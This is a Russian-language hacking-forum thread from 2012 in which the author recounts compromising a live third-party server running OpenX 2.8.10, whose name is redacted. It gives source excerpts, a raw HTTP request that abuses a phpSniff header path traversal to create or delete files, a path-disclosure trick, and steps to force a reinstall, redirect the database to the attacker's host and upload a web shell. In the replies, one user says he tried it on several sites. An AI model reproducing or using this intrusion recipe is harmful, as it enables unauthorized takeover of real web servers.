OpenX 0-day - Последняя версия

Discussion in 'Веб-уязвимости' started by randman, 25 Dec 2012.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Во время посещения hostingkartinok.com - хостинга картинок, я наткнулся на сервер ***, предлагающий мне заработать денег. А почему бы не заработать?
    Начинем зарабатывать:

    *** - Apache/2.2.15 (CentOS) Server - PHP/5.3.3

    Реф-ссылки:
    http://***/ox/www/delivery/ck.php?oaparams=2__bannerid=46__zoneid=7__cb=0b76e8e599__oadest=http%3A%2F%2Fwww.metod-deneg.com%2Fic%2Fhkart%2F%3Futm_source%3Dhostkart%26utm_medium%3Dbanner%26utm_campaign%3Deuropa80

    http://***/ic/hkart/?utm_source=hostkart&utm_medium=banner&utm_campaign=europa80

    Серверная страница:
    http://***/ - Apache 2 Test Page

    OpenX Panel(Открывается при переходе на http://***/ox/):
    http://***/ox/www/admin/index.php

    http://***/ox/www/delivery/ - Мы имеем листинг файлов c указанием размера каждого файла, и мы можем попробовать найти эти скрипты в интернете, если это публичная партнерка и т.п.:
    PHP:
    [TXT]    ac.php    12-Sep-2012 23:00     144K     
    [TXT]    afr.php    12-Sep-2012 23:00     146K     
    [TXT]    ag.php    12-Sep-2012 23:00     100K     
    [TXT]    ai.php    12-Sep-2012 23:00     101K     
    [TXT]    ajs.php    12-Sep-2012 23:00     146K     
    [TXT]    al.php    12-Sep-2012 23:00     145K     
    [TXT]    alocal.php    12-Sep-2012 23:00     145K     
    [TXT]    apu.php    12-Sep-2012 23:00     146K     
    [TXT]    avw.php    12-Sep-2012 23:00     144K     
    [TXT]    ax.php    12-Sep-2012 23:00     145K     
    [TXT]    axmlrpc.php    12-Sep-2012 23:00     158K     
    [TXT]    ck.php    12-Sep-2012 23:00     106K     
    [TXT]    crossdomain.xml    12-Sep-2012 23:00     199      
    [TXT]    dxmlrpc.php    12-Sep-2012 23:00     101K     
    [TXT]    fc.php    12-Sep-2012 23:00     2.9K     
    [TXT]    fl.js    12-Sep-2012 23:00     6.5K     
    [TXT]    lg.php    12-Sep-2012 23:00     105K     
    [TXT]    robots.txt    12-Sep-2012 23:00     305      
    [TXT]    spc.php    12-Sep-2012 23:00     145K     
    [TXT]    spcjs.php    12-Sep-2012 23:00     105K     
    [TXT]    ti.php    12-Sep-2012 23:00     101K     
    [TXT]    tjs.php    12-Sep-2012 23:00     102K     
    [TXT]    tv.php    12-Sep-2012 23:00     100K     
    http://***/ox/www/delivery/crossdomain.xml:
    PHP:
    <?xml version="1.0"?>
    <!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
    <cross-domain-policy>
        <allow-access-from domain="*" />
    </cross-domain-policy>
    robos.txt:
    PHP:
    # This robots.txt file requests that search engines and other
    # automated web-agents don't try to index the files in this
    # directory (/www/delivery/). This file is required in the
    # event that you use OpenX with virtual domains, and have one
    # set up for the delivery interface.
    User-agent: *
    Disallow: /
    На этом я начинаю догаыватся, что OpenX - не система управления сервером, как cPanel, а что-то другое. Скачиваем, только вот версию мы пока не знаем, однако файлы размещены 12-Sep-2012, и мы можем приблизительно выбрать нужную нам версию.

    Находим инфу на рдоте и античате, однако скорее всего эксплоиты не актуальны:
    https://rdot.org/forum/showthread.php?t=70
    https://forum.antichat.ru/threadnav150144-3-10.html
    OpenX.org
    И неразработанную уязвимость:
    https://rdot.org/forum/showpost.php?p=27517&postcount=8



    Нам нужно узнать версию. Так, заходим на http://download.openx.org/, имеем версии от 2012-05-08 и 2012-09-19, нам подходит первая. Скачиваем.
    Уже лучше, у нас есть исходники. Сразу-же замечаем файл RELEASE_NOTES.txt.

    Так: http://***/ox/RELEASE_NOTES.txt
    What's New in OpenX 2.8.10
    ----------------------------

    * Release date: 2012-09-12

    Не угадали :( Скачиваем OpenX 2.8.10. У нас имеется последняя версия, похоже придется искать уязвимости самому.
    Что мы имеем? Руки, сервер и 48,9 МБ исходников.

    В некоторых файлах код очень кривой, значит где-то поблизости есть уязвимость:
    Получение хоста:
    PHP:
    function OX_getHostName()
    {
    if (!empty(
    $_SERVER['HTTP_HOST'])) {
    $host explode(':'$_SERVER['HTTP_HOST']);
    $host $host[0];
    } else if (!empty(
    $_SERVER['SERVER_NAME'])) {
    $host explode(':'$_SERVER['SERVER_NAME']);
    $host $host[0];
    }
    return 
    $host;
    }
    Примерно одинаковых 100 Кб функций находится практически во всех файлах. Попробуем найти моменты, где используется функция OX_getHostName():
    PHP:
    grep -rnw -"OX_getHostName()" ~/Загрузки/openx-2.8.10/
    Вроде-бы ничего полезного нет, исходя из того, что версия PHP 5.3.3. Основная часть кривого кода распологается в OpenX/www/delivery, востанавливаем форматирование файлов с помощью http://beta.phpformatter.com/. Мгновение - и перед нами читабильный код.

    Копаем дальше, находим логи:
    http://***/ox/var/debug.log
    http://***/ox/var/install.log
    http://***/ox/var/cache/ - Полная папка с чем-то.
    PHP:
    Installation started 2012-10-23 03:19:13
    Attempting to connect to database ox with user ox
    Connected to database ox
    Database settings 
    and permissions are OK
    creating upgrade_action audit table
    successfully created upgrade_action audit table
    creating database_action audit table
    successfully created database_action audit table
    schema definition from cache TRUE
    Installation created the core tables
    Installation updated the schema version to 613
    Installation updated the application version to 2.8.10
    Preparing to set timezone preference
    ...
    Found timezone preference ID of 16
    Found the admin account
    's timezone association, updating preference...
    Updated the admin account timezone preference to: '
    Europe/Moscow'
    Starting file-check for plugins...
    Finished file-check for plugins
    Starting file-check for plugins...
    Finished file-check for plugins
    Starting file-check for plugins...
    Finished file-check for plugins
    Имя БД: ox
    Пользователь: ox

    Пароля нет, но пробуем подключится удаленно:
    PHP:
    ERROR 1130 (HY000): Host '**' is not allowed to connect to this MySQL server
    Увы. Придется иследовать объемные исходники огромной CMS последней версии, делать больше нечего. N-Дней исследований дали свои труды. Сразу скажу, что я исследовал много файлов и писать обо всем не имеет смысла. Искать что-то в таком объеме файлов - полное безумие, и я решил попробовать найти что-то нестандартное с помощью grep.
    PHP:
    grep -rnw -"unserialize" ~/Загрузки/openx-2.8.10/
    ...
    ~/
    Загрузки/openx-2.8.10/www/delivery/ck.php:3156:        $aVars unserialize(stripslashes($_COOKIE[$conf['var']['vars']][$n]));
    ...
    К истине уже ближе.
    PHP:

    function MAX_querystringConvertParams()
    {

        
    $conf    $GLOBALS['_MAX']['CONF'];
        
    $qs      $_SERVER['QUERY_STRING'];
        
    $dest    false;
        
    $destStr $conf['var']['dest'] . '=';
        
    $pos     strpos($qs$destStr);
        if (
    $pos === false) {
            
    $destStr 'dest=';
            
    $pos     strpos($qs$destStr);
        }
        if (
    $pos !== false) {
            
    $dest urldecode(substr($qs$pos strlen($destStr)));
            
    $qs   substr($qs0$pos);
        }
        
    $aGet     = array();
        
    $paramStr $conf['var']['params'] . '=';
        
    $paramPos strpos($qs$paramStr);
        if (
    is_numeric($paramPos)) {
            
    $qs    urldecode(substr($qs$paramPos strlen($paramStr)));
            
    $delim $qs{0};
            if (
    is_numeric($delim)) {
                
    $delim substr($qs1$delim);
            }
            
    $qs substr($qsstrlen($delim) + 1);
            
    MAX_querystringParseStr($qs$aGet$delim);
            
    $qPos = isset($aGet[$conf['var']['dest']]) ? strpos($aGet[$conf['var']['dest']], '?') : false;
            
    $aPos = isset($aGet[$conf['var']['dest']]) ? strpos($aGet[$conf['var']['dest']], '&') : false;
            if (
    $aPos && !$qPos) {
                
    $desturl                    substr($aGet[$conf['var']['dest']], 0$aPos);
                
    $destparams                 substr($aGet[$conf['var']['dest']], $aPos 1);
                
    $aGet[$conf['var']['dest']] = $desturl '?' $destparams;
            }
        } else {
            
    parse_str($qs$aGet);
        }
        if (
    $dest !== false) {
            
    $aGet[$conf['var']['dest']] = $dest;
        }
        
    $n = isset($_GET[$conf['var']['n']]) ? $_GET[$conf['var']['n']] : '';
        if (empty(
    $n)) {
            
    $n = isset($aGet[$conf['var']['n']]) ? $aGet[$conf['var']['n']] : '';
        }

            
        if (!empty(
    $n) && !empty($_COOKIE[$conf['var']['vars']][$n])) {
        
            
    $aVars unserialize(stripslashes($_COOKIE[$conf['var']['vars']][$n]));
            
            foreach (
    $aVars as $name => $value) {
                if (!isset(
    $_GET[$name])) {
                    
    $aGet[$name] = $value;
                }
            }
        }
        
    $_GET     $aGet;
        
    $_REQUEST $_GET $_POST $_COOKIE;
    }
    ?>
    Параметр проходит через stripslashes, и проблем с магическими кавычками быть не должно, в крайнем случае можно самим наслешировать параметр.
    Если мы отправим _GET[n]=data, то мы можем прогнать через unserialize значение куков OAVARS[data], но при условии, что OAVARS в конфиге не изменено.

    Чем это нам поможит? Попробуйте выполнить этот код:
    PHP:
    <?
    <?
    php
    class someClass {
      public 
    $foo 'foo';

      public function 
    __destruct() {
        echo 
    $this->foo;
      }
    }

    $s 'O:9:"someClass":1:{s:3:"foo";s:4:"abcd";}';
    $u unserialize($s);
    ?>
    Он выведет abcd, а без unserialize ничего не выведет. Выполняем print_r(get_declared_classes()) - сейчас у нас подключен только phpSniff. Стоп, а что за phpSniff?
    phpSniff Располагается в /plugins/deliveryLimitations/Client/lib/phpSniff/, при этом он распаковывается позже, а не нахоится там сразу-же в стандартных исходниках.
    Если мы исследуем OpenX, то мы будем исслеовать и phpSniff.
    index.php:
    PHP:
    <?php
    ...
    $GET_VARS = isset($_GET) ? $_GET $HTTP_GET_VARS;
    $POST_VARS = isset($_POST) ? $_GET $HTTP_POST_VARS;
    ...
    $sniffer_settings = array('check_cookies'=>$GET_VARS['cc'],
                              
    'default_language'=>$GET_VARS['dl'],
                              
    'allow_masquerading'=>$GET_VARS['am']);
    $client =& new phpSniff($GET_VARS['UA'],$sniffer_settings);
    ?>
    phpSniff:
    PHP:
    <?php
        
    function phpSniff($UA='',$settings true)
        {   
    //  populate the HTTP_USER_AGENT string
            //  20020425 :: rraymond
            //      routine for easier configuration of the client at runtime
            
    if(is_array($settings)) {
                
    $run true;
                
    extract($settings);
                
    $this->_check_cookies $check_cookies;
                
    $this->_default_language $default_language;
                
    $this->_allow_masquerading $allow_masquerading;
            } else {
                
    // for backwards compatibility with 2.0.x series
                
    $run = (bool) $settings;
            }
    ?>
    IP:
    PHP:
    <?php
        
    function _get_ip ()
        {   if(
    getenv('HTTP_CLIENT_IP'))
            {   
    $ip getenv('HTTP_CLIENT_IP');
            }
            else
            {   
    $ip getenv('REMOTE_ADDR');
            }
            
    $this->_set_browser('ip',$ip);
        }
    ?>
    И самое главное:
    PHP:
    <?php
        
    function _test_cookies()
        {   global 
    $HTTP_COOKIE_VARS;
            
    $cookies = array();
            if(isset(
    $_COOKIE)) {
                
    $cookies $_COOKIE;
            } elseif(isset(
    $HTTP_COOKIE_VARS)) {
                
    $cookies $HTTP_COOKIE_VARS;
            }
            if(
    $this->_check_cookies)
            {   
    $fp = @fopen($this->_temp_file_path.$this->property('ip'),'r');//var $_temp_file_path        = '/tmp/'; // with trailing slash
                
    if(!$fp)
                {   
    $fp = @fopen($this->_temp_file_path.$this->property('ip'),'a');
                    
    // make sure we have a valid file pointer
                    
    if($fp) {
                        
    fclose($fp);
                        
    setcookie('phpSniff_session','ss',0,'/');
                        
    setcookie('phpSniff_stored','st',time()+3600*24*365,'/');
                        
    $QS=getenv('QUERY_STRING');
                        
    $script_path=getenv('PATH_INFO')?getenv('PATH_INFO'):getenv('SCRIPT_NAME');
                        if(
    is_integer($pos=strpos(strrev($script_path),"php.xedni/"))&&!$pos) {
                            
    $script_path=strrev(substr(strrev($script_path),9));
                        }
                    }
                    
    $location='http://'.getenv('SERVER_NAME').$script_path.($QS==''?'':'?'.$QS);
                    
    header("Location: $location");
                    exit;
                } elseif(
    $fp) {   
                    
    // we only want to proceed if we have a file pointer
                    
    unlink($this->_temp_file_path.$this->property('ip'));
                    
    fclose($fp);
                    
    $this->_set_browser('ss_cookies',isset($cookies['phpSniff_session'])?'true':'false');
                    
    $this->_set_browser('st_cookies',isset($cookies['phpSniff_stored'])?'true':'false');
                    
    // delete the old cookies
                    
    setcookie('phpSniff_session','',0,'/');
                    
    setcookie('phpSniff_stored','',0,'/');
                }
            }
        }
    ?>
    Мы можем создавать пустые файлы на сервере, а так-же удалять то, что нам нужно:
    PHP:
    //Если файл не существует - он создается, иначе - удаляется
    GET /openx-2.8.10/plugins/deliveryLimitations/Client/lib/phpSniff/index.php?cc=asdf HTTP/1.1
    Host
    127.0.0.1
    User
    -AgentIE
    Accept
    text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    CLIENT_IP: /../tmp/path
    Cache-Control: max-age=0
    Теперь нам нужно раскртие пути, в phpSniff установлено E_ALL(index.php?UA[]), только вот display_errors на удаленном сервере похоже что off.
    Хитрим:
    PHP:
    grep -rnw -"display_errors" */openx-2.8.10/

    */
    openx-2.8.10/www/admin/plugins/openXWorkflow/application/bootstrap.php:6:ini_set('display_errors'1);
    Имеется раскрытие пути, смотрим путь - http://***/ox/www/admin/plugins/openXWorkflow/application/bootstrap.php
    Имеем /home/ox/
    Остается только удалить что-то полезное, что даст нам переустановить OpenX и залить шелл, возможно успев сохранить конфиг т.е. не приченяя вред ресурсу.

    Файл /home/ox/var/INSTALLED отвечает за это, однако удалить его оказалось недостаточно.
    Теперь, ВНИМАНИЕ, что бы запустить инсталяцию следует:
    • Удалить файл INSTALLED
    • Создать файл UPGRADE
    • Удалить файл default.conf.php

      В нем находится:
      PHP:
      ;<?php exit; ?>
      ;*** DO NOT REMOVE THE LINE ABOVE ***
      realConfig="127.0.0.1"
    • Прописать в hosts: *.*.*.* asdf
    • Перейти на http://asdf/path/to/openX/install.php?action=welcome
    Если вдруг во время переустановки у вас не хватит прав на каталоги :D , можно вернуть всё обратно по этой-же инструкции, + подложив за место default.conf.php пустой файл.

    Идем дальше, нам необходимо создать базу MySQL, только вот к этому хосту мы не имеем доступа, и нам придется указывать наш удаленный хост, только не забудте права обрезать :)
    Перекачка данных на базу займет длительный объем времени.

    Совершаем действие в ещё нескольких пунктах, минута и мы в админке.
    Заливаем шелл по этой инструкции от (dm) - https://forum.antichat.ru/showpost.php?p=1629085&postcount=2
    Чистим каталог var, где находится asdf.conf.php, а вот главный конфиг остается незатертым.
     
    #1 randman, 25 Dec 2012
    Last edited: 5 Feb 2013
  2. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Спущено, прикрепите к теме этой CMS.
     
    1 person likes this.
  3. maxim2142

    maxim2142 Member

    Joined:
    31 May 2010
    Messages:
    16
    Likes Received:
    10
    Reputations:
    3
    *Плохие слова*....это было гениально и занимательно %)
     
  4. BestAV

    BestAV New Member

    Joined:
    27 Sep 2010
    Messages:
    107
    Likes Received:
    3
    Reputations:
    0
    Не работает с заглавными буквами. Strtolower всё режет.
     
  5. Dexec

    Dexec New Member

    Joined:
    10 Feb 2013
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    опробовал на нескольких сайтах пока результата нет ( при каких условиях бага работает ? не создает и не удаляет файлы ( если кто может помочь плз пм (
     
  6. Грабитель

    Joined:
    5 Mar 2013
    Messages:
    196
    Likes Received:
    12
    Reputations:
    -7
    Думаю, уже не при каких, ибо тогда не имело смысла багу спускать в паблик.
    А так хоть автор покичится своими знаниями, покажет всю свою крутость школоте.